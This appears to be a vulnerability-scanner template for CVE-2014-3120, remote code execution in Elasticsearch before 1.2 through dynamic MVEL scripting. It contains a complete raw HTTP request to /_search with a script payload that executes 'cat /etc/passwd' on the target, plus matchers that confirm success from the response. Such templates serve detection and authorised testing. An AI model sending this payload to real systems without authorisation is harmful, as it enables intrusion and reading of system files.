id: CVE-2014-3120 info: name: ElasticSearch v1.1.1/1.2 RCE author: pikpikcu severity: critical description: | The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine. reference: | - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120 - https://www.elastic.co/blog/logstash-1-4-3-released tags: cve,cve2014,elastic,rce requests: - raw: - | POST /_search?pretty HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 343 { "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } } matchers-condition: and matchers: - type: word words: - "application/json" part: header - type: regex regex: - "root:[x*]:0:0" part: body - type: status status: - 200